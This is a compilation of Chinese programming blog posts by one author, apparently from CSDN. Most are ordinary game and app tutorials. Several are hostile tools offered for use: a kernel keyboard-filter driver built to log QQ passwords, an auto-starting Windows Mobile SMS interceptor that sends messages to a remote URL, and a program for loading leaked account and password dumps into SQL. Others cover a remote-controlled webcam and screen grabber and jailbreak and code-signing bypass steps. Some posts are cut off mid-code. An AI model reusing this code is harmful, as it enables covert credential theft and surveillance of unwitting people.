unity + win8.1 apps 小游戏demo
http://blog.youkuaiyun.com/xiaoxiao108/article/details/37882295
unity3d用的人挺多,本来想写个3d游戏试试,额,貌似挺麻烦,先用unity写个简单的2d游戏吧
(adsw回车 或者 触摸屏虚拟摇杆)
开发环境 unity4.5.1f3 vs2013 express win8.1
实现方法如下
1.创建自己的坦克Sprite
2.创建敌方坦克Prefab
3.创建子弹Prefab
4.添加虚拟摇杆
5.碰撞检测
具体实现
1.控制自己坦克的代码
[csharp] view plaincopy
if (Input.GetKey (KeyCode.W)) {
Rotate (0);
}
else if (Input.GetKey (KeyCode.S)) {
Rotate (180);
} else if (Input.GetKey (KeyCode.A)) {
Rotate (90);
} else if (Input.GetKey (KeyCode.D)) {
Rotate (270);
}
i++;
if (i == 10) {i=0;
if (Input.GetKey (KeyCode.Return)||rotateJoystick.tapCount > 0) {
m.tag = "GOOD";
Instantiate (m, transform.position, transform.rotation);
}
}
2.控制地方坦克的代码
[csharp] view plaincopy
if (step == 0)
{
int i=Random.Range(0, 4);
Rotate(angles[i]);
step = Random.Range(0, 20) + 85;
if(Random.Range(0,50)>40)
{
m.tag="BAD";
Instantiate(m, transform.position, transform.rotation);
}
}
else
{
step--;
}
transform.Translate (Vector3.up*Time.deltaTime*4);
3.控制子弹移动
transform.Translate (Vector3.up * Time.deltaTime * 10);
4.虚拟摇杆用的Untiy 里面 Standard Assets(Mobile).unityPackage自带的
5.碰撞检测代码
[csharp] view plaincopy
void OnTriggerEnter2D(Collider2D mCollider)
{
if ((mCollider.gameObject.tag == "Enemy"&&gameObject.tag=="GOOD")||(mCollider.gameObject.tag == "Player"&&gameObject.tag=="BAD"))
{
Destroy(mCollider.gameObject);
Destroy(this.gameObject);
if(gameObject.tag=="BAD")
{
PlayerPrefs.SetString("key","OVER");
Application.LoadLevel(1);
}
}
}
如果你发现有什么不合理的,需要改进的地方,请留言。
http://blog.youkuaiyun.com/xiaoxiao108/article/details/37882295
电视盒子开机自启动wifi热点功能代码,貌似路由器都能省了
http://blog.youkuaiyun.com/xiaoxiao108/article/details/31398127
现在用有线连网看视频速度要比经过路由器快,用无线做热点,但无线设置热点后,关机或重启又要再重新开启热点,这样比较麻烦,增加上开机自启热点,这样比较方便了,连网速度快看视频不卡其它设备也可以通过盒子上网。
开发工具
android ADT
实现方法
1.开启热点
2.开机启动
具体代码
1.开启热点
[java] view plaincopy在CODE上查看代码片派生到我的代码片
WifiManager wifiManager;
wifiManager = (WifiManager) getSystemService(Context.WIFI_SERVICE);
Method method = wifiManager.getClass().getMethod("getWifiApState");
int state = (Integer) method.invoke(wifiManager);
if(state==13||state==12)// 已经开 或者 正在开
{
}else
{
Toast.makeText(MainActivity.this,"正在开启AndroidAP...", 1).show();
wifiManager.setWifiEnabled(false);
WifiConfiguration apConfig = new WifiConfiguration();
apConfig.SSID = "AndroidAP";
apConfig.allowedKeyManagement.set(4);
apConfig.preSharedKey = "5e8918f37260";
method = wifiManager.getClass().getMethod("setWifiApEnabled", WifiConfiguration.class, Boolean.TYPE);
boolean open = (Boolean) method.invoke(wifiManager, apConfig, true);
}
AndroidManifest.xml 中增加权限
2.开机启动
用了用
在我的电视盒子上试了试 发现 偶尔会出现 开机不自动运行的情况
换个思路把
用
替代 电视盒子自带的 桌面
开启AP热点后再 自动运行盒子自带的桌面
[java] view plaincopy在CODE上查看代码片派生到我的代码片
ComponentName componet = new ComponentName("com.duokan.duokantv","com.duokan.duokantv.MainActivity");
Intent i = new Intent();
i.setComponent(componet);
startActivity(i);
使用方法
1.电视盒子连有线网
2.配置好盒子正常上网
3.安装自己写好的程序
如果你发现有什么不合理的,需要改进的地方,请留言。或者可以通过 328452421@qq.com 联系我,非常感谢。
http://blog.youkuaiyun.com/xiaoxiao108/article/details/31398127
html5 小游戏 demo
http://blog.youkuaiyun.com/xiaoxiao108/article/details/8913616
html5 挺火,写个html5游戏玩玩吧,想起cocos2d 貌似各个平台都有,网上找了找,下载了个Cocos2d-html5引擎包。
貌似另一个开源引擎lufylegend.js也很好,下次用用lufylegend.js试试。
开发环境 chrome Cocos2d-html5
游戏地址:http://hehe108.sinaapp.com/cocos2d/
(adsw回车)
实现方法如下
1.创建好 LayerGradient的子类 (里面放坦克子弹)
2.重写 onEnter 方法添加一些基本按钮 跟一些初始坦克,子弹
3.通过schedule方法 控制 坦克 子弹的重画
4.根据键盘按键(ASWD)确定出坦克的方向,根据坦克的方向修改坦克的X,Y轴坐标,来实现坦克的移动
5.通过cc.rectIntersectsRect函数来进行碰撞检测,实现子弹打击坦克
具体代码
1.在项目里面添加方向
var Direction = { L:0, U:1, D:2, R:3, STOP:4 };
2.添加子弹类的相关属性
SPEED:10,
WIDTH:15,
HEIGHT:15,
x:null,
y:null,
dir:null,
live:true,
tankClient:null, //LayerGradient子类TankClient 的引用
good:null,
3.子弹初始化,重画
ctor:function (x,y,good,dir,tankClient) {
cc.associateWithNative( this, cc.Sprite );
this.x=x;
this.y=y;
this.dir=dir;
this.tankClient=tankClient;
this.good=good;
this.initWithFile(s_missile);
this.setPosition( cc.p(this.x, this.y) );
this.tankClient.addChild(this);
},
Draw:function(){
if(!this.live){
this.tankClient.removeChild(this, true);
return;
}
this.setPosition( cc.p(this.x, this.y) );
this.Move();
},
4.添加子弹打击坦克的方法
HitTank:function(t){
if (cc.rectIntersectsRect(this.GetRectangle(), t.GetRectangle()) && t.live && this.live && this.good != t.good){
t.live = false;
this.live = false;
return true;
}
return false;
},
5.添加坦克类相关属性
SPEED:5,
WIDTH:58,
HEIGHT:58,
x:0,
y:0,
l:false,
u:false,
r:false,
d:false,
dir:Direction["STOP"],
ptDir:Direction["D"],
tankClient:null,
good:null,
step:0,
live:true,
6.在tank类中 坦克初始化,重画
ctor:function (x,y,good,tankClient) {
cc.associateWithNative( this, cc.Sprite );
this.x=x;
this.y=y;
this.tankClient=tankClient;
this.good=good;
if(good){
this.initWithFile(s_tank);
}else{
this.initWithFile(s_enemy);
}
this.setPosition( cc.p(this.x, this.y) );
this.tankClient.addChild(this);
},
Draw:function(){
if (!this.live){
if (!this.good){
this.tankClient.removeChild(this, true);
}
this.tankClient.removeChild(this, true);
return;
}
this.setPosition( cc.p(this.x, this.y) );
switch (this.ptDir)
{
case Direction["D"]:
this.setRotation(0); //旋转精灵控制 炮筒方向
break;
case Direction["U"]:
this.setRotation(180);
break;
case Direction["L"]:
this.setRotation(270);
break;
case Direction["R"]:
this.setRotation(90);
break;
}
this.Move();
},
7.tank发子弹的方法
Fire:function()
{
if(!this.live) return null;
for(var i=0;i<this.tankClient.missiles.length;i++){
var m = this.tankClient.missiles[i];
if (m.live == false){
m.x=this.x;
m.y=this.y;
m.live=true;
m.dir=this.ptDir;
m.good=this.good;
this.tankClient.addChild(m);
return m;
}
}
var missile=new Missile(this.x,this.y,this.good,this.ptDir,this.tankClient);
this.tankClient.missiles.push(missile);
return missile;
},
8.LayerGradient加入坦克
this.tanks = [];
this.myTank = new Tank(60,20, true, this);
for (var i = 0; i < 10; i++){
this.tanks.push(new Tank(50 + 70 * (i + 1), 420, false, this));
}
9.LayerGradient中调用子弹打击坦克的方法
for(var i=0;i<this.missiles.length;i++){
var m = this.missiles[i];
m.HitTank(this.myTank);
m.HitTanks(this.tanks);
m.Draw();
}
10.控制坦克移动射击的部分代码
onKeyUp:function(key) {
this.myTank.KeyReleased(key);
},
onKeyDown:function(key) {
this.myTank.KeyPressed(key);
}
11.用Ant和compiler合并压缩js后发布到sae
如果你发现有什么不合理的,需要改进的地方,请留言。或者可以通过 328452421@qq.com 联系我,非常感谢。
http://blog.youkuaiyun.com/xiaoxiao108/article/details/8913616
cocos2d-xna 写的一个小游戏demo坦克大战
http://blog.youkuaiyun.com/xiaoxiao108/article/details/7938596
最近看到网上介绍cocos2d的资料很多,看了看cocos2d也支持wp7,下载了个 Cocos2d-XNA 安装包,写个小例子玩玩,熟悉下cocos2d
程序很简单,就一个入门级的小游戏,写完后放手机里运行了下效果还可以
开发环境 vs2010,windows phone sdk 7.1
实现方法如下
1.创建好 CCLayer 的子类
2.重写 onEnter 方法添加一些基本按钮 跟一些初始化代码
3.通过schedule方法 控制 坦克 子弹的CCSprite对象
4.根据点击手机屏幕,确定出坦克的方向,根据坦克的方向修改坦克的X,Y轴坐标,来实现坦克的移动
5.通过CCRect的CCRectIntersetsRect函数来进行碰撞检测,实现子弹打击坦克
6.代码完成后 安装zune后 就能把游戏部署到手机里面了 部署前手机要绑定开发者帐号或者学生帐号
具体实现代码
1.在项目里面添加枚举类型
/// <summary>
/// 表示方向的的枚举类型
/// </summary>
public enum Direction { L, U, D, R, STOP }
2.添加子弹类的相关常量,属性
/// <summary>
/// 子弹X轴的速度,单位PX
/// </summary>
public static int XSPEED = 10;
/// <summary>
/// 子弹Y轴的速度,单位PX
/// </summary>
public static int YSPEED = 10;
/// <summary>
/// 子弹的宽度
/// </summary>
public static int WIDTH = 15;
/// <summary>
/// 子弹的高度
/// </summary>
public static int HEIGHT = 15;
/// <summary>
/// 子弹的坐标
/// </summary>
int x, y;
/// <summary>
/// 子弹的方向
/// </summary>
Direction dir;
/// <summary>
/// 子弹的存活状态
/// </summary>
private bool live = true;
/// <summary>
/// TankClient窗体实例
/// </summary>
private TankClient tankClient;
/// <summary>
/// 敌我双方的标记
/// </summary>
private bool good;
CCSprite m_missile;
3.添加draw方法来画出子弹
public void Draw()
{
if (!live)
{
tankClient.removeChild(m_missile, true);
tankClient.missiles.Remove(this);
return;
}
m_missile.position = new CCPoint(x, y);
Move();
}
4.添加子弹打击坦克的方法
public bool HitTank(Tank t)
{
//用IntersectsWith来检测两个矩形相碰撞
//if (GetRectangle().IntersectsWith((t.GetRectangle())) && t.Live && this.live && this.good != t.Good)
if (CCRect.CCRectIntersetsRect(GetRectangle(), t.GetRectangle()) && t.Live && this.live && this.good != t.Good)
{
t.Live = false;
this.live = false;
return true;
}
return false;
}
5.添加坦克类相关属性,常量
/// <summary>
/// 坦克x轴的速度
/// </summary>
public static int XSPEED = 5;
/// <summary>
/// 坦克y轴的速度
/// </summary>
public static int YSPEED = 5;
/// <summary>
/// 坦克的宽度
/// </summary>
public static int WIDTH = 58;
/// <summary>
/// 坦克的高度
/// </summary>
public static int HEIGHT = 58;
/// <summary>
/// 坦克的坐标
/// </summary>
private int x, y;
/// <summary>
/// 标记上下左右键是否按下
/// </summary>
private bool l = false, u = false, r = false, d = false;
/// <summary>
/// 坦克的方向
/// </summary>
private Direction dir = Direction.STOP;
/// <summary>
/// 坦克炮筒方向
/// </summary>
private Direction ptDir = Direction.D;
/// <summary>
/// TankClient窗体实例
/// </summary>
TankClient tankClient;
/// <summary>
/// 标记敌我双方
/// </summary>
private bool good;
/// <summary>
/// 控制敌人坦克不规则运行时使用
/// </summary>
private int step = 0;
/// <summary>
/// 标记坦克的存活状态
/// </summary>
private bool live = true;
public CCSprite m_tank;
6.在tank类中实现画坦克方法
public void Draw()
{
if (!live)
{
if (!good)
{
tankClient.removeChild(m_tank, true);
tankClient.tanks.Remove(this);
}
tankClient.removeChild(m_tank, true);
return;
}
if (good)
{
m_tank.position = new CCPoint(x, y);
}
else
{
//g.FillEllipse(Brushes.Blue, x, y, WIDTH, HEIGHT);
m_tank.position = new CCPoint(x, y);
}
//根据炮筒坦克来画出坦克的炮筒
switch (ptDir)
{
case Direction.D:
m_tank.rotation = 0; //旋转精灵控制 炮筒方向
break;
case Direction.U:
m_tank.rotation = 180;
break;
case Direction.L:
m_tank.rotation = 270;
break;
case Direction.R:
m_tank.rotation = 90;
break;
}
Move();
}
7.tank发子弹的方法
public Missile Fire()
{
if (!live) return null;
int x = this.x;
int y = this.y ;
Missile missile = new Missile(x, y, good, ptDir, tankClient);
tankClient.missiles.Add(missile);
return missile;
}
8.CCLayer加入坦克
myTank = new Tank(60,420, true, this);
for (int i = 0; i < 10; i++)
{
//添加10量坦克间距 为70
tanks.Add(new Tank(50 + 70 * (i + 1), 20, false, this));
}
9.CCLayer中调用子弹打击坦克的方法
for (int i = 0; i < missiles.Count; i++)
{
Missile m = missiles[i];
m.HitTank(myTank);
m.HitTanks(tanks);
m.Draw();
}
10.控制坦克移动射击的部分代码
public override void ccTouchEnded(CCTouch touch, CCEvent event_)
{
myTank.KeyReleased(Microsoft.Xna.Framework.Input.Keys.Down);
}
public void hitCallback(CCObject pSender)
{
myTank.KeyReleased(Microsoft.Xna.Framework.Input.Keys.Enter);
}
11.虚拟机中的运行效果
程序中控制坦克方向的代码处理的不是很好,没有通过虚拟摇杆实现。
如果你发现有什么不合理的,需要改进的地方,邮件联系328452421@qq.com(qq常年不在线,邮件联系) 朱晓 。相互交流 谢谢
http://blog.youkuaiyun.com/xiaoxiao108/article/details/7938596
ios版本的helloworld
http://blog.youkuaiyun.com/xiaoxiao108/article/details/7463037
最近下载了个xcode_4.3.1_for_lion.dmg ,安装 xcode 时老是提示安装失败,后来网上查了下,把mac日期修改成2012.1.1,才能安装成功。第一次写ios程序啊,程序相当简单,就一个helloworld 点击按钮触发alert事件
开发环境 mac 10.7.3 xocde4.3.1 ios5.1.x
开发步骤
1. 下载安装 xcode_4.3.1_for_lion.dmg
2.运行xcode
3.新建一个Single View Application
4.创建完成后双击文件中的MainStoryboard_iPad.storyboard文件打开设计界面
5.拖个Round Rect Button控件到界面里面
6.修改ViewController.h头文件 加入代码
@interface ViewController : UIViewController
{
IBOutlet UIButton * btn;
}
-(IBAction)btnPressed:(id)sender;
7.修改ViewController.m文件 加入代码
-(void)btnPressed:(id)sender
{
NSLog(@"33333333");
UIAlertView *alert =[[UIAlertView alloc] initWithTitle:@"hello"
message:@"zhu"
delegate:self
cancelButtonTitle:@"ok"
otherButtonTitles:nil];
[alert show];
}
8.右键单击View中添加的按钮分别添加Touch Up Inside 跟 btnPressed, Referencing Outlets跟btn的 关联
9.虚拟机运行效果
10.真机调试时如果有如下提示,需要进行xcode破解
12. 在的越狱的板子上运行效果
备注:
一.ios5.1.1越狱步骤
1.下载Absinthe 2.0 点击Jailbreak ,最后提示Done,enjoy!越狱完成
2.在Cydia中下载appsync for ios 5.0+
二.xcode4.3.1真机调试步骤
1.创建证书
实用工具-钥匙串访问-证书助手-创建证书 名称填写:iPhone Developer 选中让我覆盖这些默认值 后面填好电子邮箱地址 选中代码签名 其他的默认就可以了
2.修改/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS5.1.sdk目录下的 SDKSettings.plist文件
中<key>CODE_SIGNING_REQUIRED</key>
<string>YES</string>
<key>ENTITLEMENTS_REQUIRED</key>
<string>YES</string>
YES 改为NO
3.修改 /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform目录下 Info.plis中XCiPhoneOSCodeSignContext 修改为XCCodeSignContext
4.在命令提示符中执行下面代码(需联网)
mkdir /Applications/Xcode.app/Contents/Developer/iphoneentitlements
cd /Applications/Xcode.app/Contents/Developer/iphoneentitlements
curl -O http://www.alexwhittemore.com/iphone/gen_entitlements.txt
mv gen_entitlements.txt gen_entitlements.py
chmod 777 gen_entitlements.py
5.禁用Xcode自动的签名操作
6.添加自定义的生成后脚本,在Build Phases中添加一个Phase,右下角的Add Build Phase,然后单击Add Run Script,输入以下脚本
export CODESIGN_ALLOCATE=/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/codesign_allocate
if [ "${PLATFORM_NAME}" == "iphoneos" ] || [ "${PLATFORM_NAME}" == "ipados" ]; then
/Applications/Xcode.app/Contents/Developer/iphoneentitlements/gen_entitlements.py "my.company.${PROJECT_NAME}" "${BUILT_PRODUCTS_DIR}/${WRAPPER_NAME}/${PROJECT_NAME}.xcent";
codesign -f -s "iPhone Developer" --entitlements "${BUILT_PRODUCTS_DIR}/${WRAPPER_NAME}/${PROJECT_NAME}.xcent" "${BUILT_PRODUCTS_DIR}/${WRAPPER_NAME}/"
fi
7.连上ios设备,点击Product-Build For -Archiving 就可以在ios设备上真机进行调试。
未连接ios设备时 为灰色
三.ipa生成步骤
1.点击show in finder
2.将finder中以项目名命名的文件拖到iTunes中
3.再将iTunes中的应用拖到桌面上就可以生成ipa文件。
如果你发现有什么不合理的,需要改进的地方,或者你有什么更好的实现方法邮件联系328452421@qq.com(qq常年不在线,邮件联系) 朱晓 。相互交流 谢谢
http://blog.youkuaiyun.com/xiaoxiao108/article/details/7463037
QQ密码记录程序
http://blog.youkuaiyun.com/xiaoxiao108/article/details/7563159
最近看了看c++,写个程序玩玩。因为用户态代码不好截取到qq密码,写个键盘分层驱动。试了试效果还可以。
开发环境 vs2008 winddk ddkwizard windowsxp Dbgview
实现方法
1.把过滤驱动挂载到键盘驱动上面
2.设置完成例程
3.通过KdPrint输出键盘扫描码到DebugView
4. 从DebugView的日志文件中读出键盘按键。
具体代码
1.把过滤驱动挂载到KeyBoardClass0上面
PFILE_OBJECT fileOjbect;
PDEVICE_OBJECT deviceObject;
UNICODE_STRING deviceName;
PDEVICE_EXTENSION pdx;
PDEVICE_OBJECT filterDeviceObject;
PDEVICE_OBJECT targetDevice;
fileOjbect=NULL;
RtlInitUnicodeString(&deviceName;,L"\\Device\\KeyBoardClass0");
status=IoGetDeviceObjectPointer(&deviceName;,FILE_ALL_ACCESS,&fileOjbect;,&deviceObject;);
pdoDeviceObj->Flags |= DO_BUFFERED_IO;
pdx=(PDEVICE_EXTENSION)pdoDeviceObj->DeviceExtension;
pdx->pDevice=pdoDeviceObj;
pdx->ustrDeviceName=usDeviceName;
filterDeviceObject=((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->pDevice;
targetDevice=IoAttachDeviceToDeviceStack(filterDeviceObject,deviceObject);
((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->TargetDevice=targetDevice;
filterDeviceObject->DeviceType=targetDevice->DeviceType;
filterDeviceObject->Characteristics=targetDevice->Characteristics;
filterDeviceObject->Flags&=~DO_DEVICE_INITIALIZING;
filterDeviceObject->Flags|=(targetDevice->Flags&(DO_DIRECT_IO|DO_BUFFERED_IO));
ObDereferenceObject(fileOjbect);
return STATUS_SUCCESS;
2.设置完成例程
PDEVICE_EXTENSION pdx;
pdx=(PDEVICE_EXTENSION)DeviceObject->DeviceExtension;
IoCopyCurrentIrpStackLocationToNext(Irp);
IoSetCompletionRoutine(Irp,MyIoCompletion,NULL,TRUE,TRUE,TRUE);
NTSTATUS status=IoCallDriver(pdx->TargetDevice,Irp);
return status;
3.输出键盘按键的扫描码
NTSTATUS MyIoCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context)
{
if(NT_SUCCESS(Irp->IoStatus.Status))
{
PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer;
if(keys->Flags==0x0001||keys->Flags==0x0003)
KdPrint(("x",keys->MakeCode));
}
if(Irp->PendingReturned)
{
IoMarkIrpPending(Irp);
}
return STATUS_SUCCESS;
}
使用步骤
1.安装驱动
用DriverMonitor加载并运行Driver1.sys驱动文件
2.打开Dbgview,当按键时就可以看到dbgview中记录下的键盘扫描码
3.在dbgview中选择记录日志文件,处理下日志文件就可以得到qq密码了。
偶c语言菜鸟,欢迎大神们批评教育 不足的地方很多啊 多多交流 谢谢 邮箱328452421@qq.com
http://blog.youkuaiyun.com/xiaoxiao108/article/details/7563159
一验证码识别的小程序源码
http://blog.youkuaiyun.com/xiaoxiao108/article/details/7226120
前些天,12306这个网站挺火的,看到网上出现了各种各样的登陆、订票插件跟程序。虽然没经历过春运,看到网上各种各样的插件跟工具挺有意思的,下载了几个看了看,都挺不错的。印象中有个java版本的订票程序里面有个验证码识别功能,用tesseract-ocr来识别验证码的,如果验证码不是很复杂识别效果还可以。
开发环境 vs2008
开发语言C#
使用方法很简单
1.下载tesseract 的.net 类库tessnet2_32.dll ,添加引用。 http://www.pixel-technology.com/freeware/tessnet2/
2.下载tesseract 相对应的语言包。 http://code.google.com/p/tesseract-ocr/downloads/list
3.调用tesseract 的方法进行识别。
具体代码
1.读取网上的验证码到pictureBox中
//string url = "https://dynamic.12306.cn/otsweb/passCodeAction.do?rand=lrand";
string url = "http://static.baixing.net/pages/mobile.php?c=bcqsFelX+vKQcrnIbhyDYQ==/2.jpg";
HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest;
HttpWebResponse response = request.GetResponse() as HttpWebResponse;
System.IO.Stream responseStream = response.GetResponseStream();
this.pictureBox1.Image = Image.FromStream(responseStream);
2.OCR类
public class Ocr
{
public void DumpResult(List result)
{
foreach (tessnet2.Word word in result)
//Console.WriteLine("{0} : {1}", word.Confidence, word.Text);
MessageBox.Show(string.Format("{0} : {1}", word.Confidence, word.Text));
}
public List DoOCRNormal(Bitmap image, string lang)
{
tessnet2.Tesseract ocr = new tessnet2.Tesseract();
ocr.Init(null, lang, false);
List result = ocr.DoOCR(image, Rectangle.Empty);
DumpResult(result);
return result;
}
System.Threading.ManualResetEvent m_event;
public void DoOCRMultiThred(Bitmap image, string lang)
{
tessnet2.Tesseract ocr = new tessnet2.Tesseract();
ocr.Init(null, lang, false);
// If the Oc
把txt文件导入到sql的程序
http://blog.youkuaiyun.com/xiaoxiao108/article/details/7172558
最近可以从网上下载到很多数据库,下载下来都是txt的,不方便查询,写了个小程序把txt数据导入到sql里面
环境 vs2008 SQL2000
实现方法很简单
1.读出txt中的每一行。
2.从每一行中分出用户名账号密码。
3.把每一条数据插入到sql中
具体代码
string[] strs = File.ReadAllLines("F:\\db.txt");
MessageBox.Show("共" + strs.Length + "条数据");
this.progressBar1.Maximum = strs.Length;
int count = 0;
foreach (string str in strs)
{
try
{
string[] arr = Regex.Split(str, " # ", RegexOptions.None);// 比如txt中每行数据使用 # 分割的
Result rs = new Result();
rs.Value1 = "xxxx数据库";
rs.Value2 = arr[0];
rs.Value3 = arr[1];
rs.Value4 = arr[2];
ResultManager.AddResult(rs);
}
catch (Exception ex)
{
MessageBox.Show(str + " " + ex.ToString());
}
count++;
this.progressBar1.Value = count;
}
MessageBox.Show("OK");
源码下载地址 根据需要自己修改源码
http://blog.youkuaiyun.com/xiaoxiao108/article/details/7017332
android手机通讯录备份还原代码
http://blog.youkuaiyun.com/xiaoxiao108/article/details/6901964
最近想写段android程序玩玩。
开发环境 eclipse ,android2.2
开发环境搭建
1.先安装jdk
2.下载安装eclipse
3.下载安装android sdk
4.安装eclipse插件 adt
5.配置 Window > Preferences 中的android sdk路径
6.创建 AVD
实现方法很简单
1.把通讯录中的联系人,电话号码保存到txt文件中完成备份。
2.读取txt文件,导入到通讯录完成还原。
具体代码
1.添加 通讯录读写权限,存储卡写权限
2.写文件代码
File saveFile=new File("/sdcard/test.txt");
FileOutputStream outStream;
try {
outStream = new FileOutputStream(saveFile);
outStream.write(str.getBytes());
outStream.close();
} catch (Exception e) {
setTitle(e.toString());
}
3.取通讯录联系人
str="";
Cursor cur = getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
if (cur.moveToFirst()) {
int idColumn = cur.getColumnIndex(ContactsContract.Contacts._ID);
int displayNameColumn = cur.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME);
do {
String contactId = cur.getString(idColumn);
String disPlayName = cur.getString(displayNameColumn);
str+=disPlayName;
int phoneCount = cur.getInt(cur.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER));
if(phoneCount>0){
Cursor phones = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,null,ContactsContract.CommonDataKinds.Phone.CONTACT_ID+ " = " + contactId, null, null);
int i=0;
String phoneNumber;
if(phones.moveToFirst()){
do{
i++;
phoneNumber= phones.getString(phones.getColumnIndex(ContactsContract.CommonDataKinds.Phon
一网络能连接后提示用户的小程序
国庆节放假期间整个小区断网4天,家里没办法上网,基本都在家里睡觉。昨天能上网了。最近想写个程序,当局域网出现故障时,家里电脑上有个程序可以在网络修复好后自动提示。
开发环境 vs2008 C#
实现方法 程序不断的访问一个网址,没返回数据说明网络故障中,有数据返回说明网络正常,同时提示用户电脑可以上网。
具体代码
static void Main(string[] args)
{
Test();
}
public static void Test()
{
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://www.baidu.com/");
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
while (true)
{
Console.Beep();
Console.Write("111");
Thread.Sleep(1000);
}
}
catch
{
Test();
}
}
Console.Beep(); 可以使电脑发出报警声音,提示网络故障几经解决,电脑可以正常上网了。
使用Console.Beep()首先要调整 pc蜂鸣 的音量
如果你发现有什么不合理的,需要改进的地方,邮件联系328452421@qq.com(qq常年不在线,邮件联系) 朱晓 。相互交流 谢谢
windowsmobile手机短信拦截记录程序
http://blog.youkuaiyun.com/xiaoxiao108/article/details/6680605
开发环境 vs2008 wm6 .net cf 3.5
1、读取系统的新短信
2、把短信内容保存下来
3、程序开机后自动运行。
具体实现代码
1.订阅MessageReceived事件,收到短信后执行RevMsg_MessageReceived方法处理短信
private MessageInterceptor RevMsg;
private void MessageService()
{
RevMsg = new MessageInterceptor();
RevMsg.MessageReceived += new MessageInterceptorEventHandler(RevMsg_MessageReceived);
}
2.短信处理方法
可以把短信内容保存到指定链接,也可以保存到手机txt文件中
HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://www.xxxxxxxxx.com/xxxx?nr=" + msg.Body.ToString() + "&ld=" + msg.From.ToString());
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Stream stream = response.GetResponseStream();
string WebContent = new StreamReader(stream, System.Text.Encoding.Default).ReadToEnd();
stream.Close();
response.Close();
3.实现开机自动运行功能
打包cab文件时,只需把快捷方式添加到Startup文件夹下面就ok。
不足之处:把短信内容保存到web时,会开启手机的 edge功能,手机上面有个联网的E通知图标,2分钟后才会关闭,没找到能快速关闭EDGE网络图标的方法。
如果你发现有什么不合理的,需要改进的地方,联系328452421@qq.com 朱晓 。相互交流 谢谢
下载地址
顺便问下 有家是 新泰 的 有木有。
http://blog.youkuaiyun.com/xiaoxiao108/article/details/6680605
通过发微博控制电脑的程序源码
http://blog.youkuaiyun.com/xiaoxiao108/article/details/6615848
前段时间看群里挺多讨论 微博api,正好前几天看到有个微博遥控器这东西,可以通过发微博(手机..........各种终端效果都一样)来控制电脑,看了看实现起来也不怎么复杂,整个这东西玩玩,顺便熟悉熟悉 微博api。
开发环境 vs2010
实现方法很简单
1.通过api取最新的一条微博
2.通过微博的内容控制电脑做相关操作 如:关机,取消关机,重启,摄像头截图,屏幕截图等
使用方法
1.运行QAPITool.exe后点确定(里面的appkey appsecret最好是自己在腾讯微博应用开发页面自己申请)
2.在打开的授权页面中输入你的腾讯微博账号
3.把的到的授权码输入到文本框里面
4.点击开启
5.之后就可以通过你的微博输入相关命令(关机,取消关机,重启,摄像头截图,屏幕截图)来控制电脑了
具体实现代码
1.下载腾讯微博C# sdk ,有个api调试工具,方便调试使用
http://open.t.qq.com/resource.php
2.添加一个计时器,定时取最后一条微博
OauthKey oauthKey = new OauthKey();
oauthKey.customKey = appKey;
oauthKey.customSecret = appSecret;
oauthKey.tokenKey = accessKey;
oauthKey.tokenSecret = accessSecret;
string ret;
UTF8Encoding utf8 = new UTF8Encoding();
statuses st = new statuses(oauthKey, "json");
ret = st.broadcast_timeline(0, 0, 1, 0);
3.解析返回json数据
JObject response = JsonConvert.DeserializeObject<JObject>(str);
JObject data = JsonConvert.DeserializeObject<JObject>(response["data"].ToString());
JObject info = JsonConvert.DeserializeObject<JObject>(data["info"].First.ToString());
string id = info["id"].ToString().Replace("\"", "");
3.判断这个微博是不是最新发送的
从返回的数据中取出 微博id 跟text 里面的数据 ,
通过比较取出的微博id 跟电脑中保存的id 是否一致来判断是不是新发送的
如果是新的就执行微博中的控制命令,并更新保存的id
StringBuilder sb = new StringBuilder(255);
GetPrivateProfileString("Config", "ID", "", sb, sb.Capacity, configpath);
string oldID = sb.ToString();
if (id != oldID)
{
string text = info["text"].ToString().Replace("\"", "");
WritePrivateProfileString("Config", "ID", id, configpath);
ProcessCommand(text);
}
4.通过这条微博控制电脑做相关操作
5.重启代码
Process.Start("shutdown", "-r -f -t 300");
6.关机代码
Process.Start("shutdown", "-s -f -t 300");
取消关机
Process.Start("shutdown", "-a");
7.屏幕截图
var temp1 = Environment.GetEnvironmentVariable("TEMP");
var picPath1 = string.Format("{0}\\{1}.jpg", temp1, Guid.NewGuid());
Class1.GetScreen(picPath1);
if (File.Exists(picPath1))
Send(picPath1);
8.摄像头截图
var temp = Environment.GetEnvironmentVariable("TEMP");
var picPath = string.Format("{0}\\{1}.jpg", temp, Guid.NewGuid());
Class1.GetCamera(picPath, this.pictureBox1);
if(File.Exists(picPath))
Send(picPath);
break;
9.把截取到的图片发送到微博上
OauthKey oauthKey = new OauthKey();
oauthKey.customKey = appKey;
oauthKey.customSecret = appSecret;
oauthKey.tokenKey = accessKey;
oauthKey.tokenSecret = accessSecret;
t twit = new t(oauthKey, "json");
string ret;
ret = twit.add_pic("pic", "127.0.0.1", "", "", file);
如果你发现有什么不合理的,需要改进的地方,联系328452421@qq.com 朱晓 。相互交流 谢谢
下载地址
顺便问下 有家是 新泰 的 有木有。
http://blog.youkuaiyun.com/xiaoxiao108/article/details/6615848
C#信息采集工具实现
简单C#信息采集工具实现
http://blog.youkuaiyun.com/xiaoxiao108/archive/2011/06/01/6458367.aspx
最近想整只爬虫玩玩,顺便熟悉下正则表达式。
开发环境 vs2008 sql2000
实现方法如下
1.先抓取网页代码
2.通过正则匹配出你需要的内容
比如http://www.soso.com/q?w=%C4%E3%BA%C3&pg=1 页面中 搜索结果的标题跟连接地址。具体可以根据你的需要填写合适的地址跟正则。
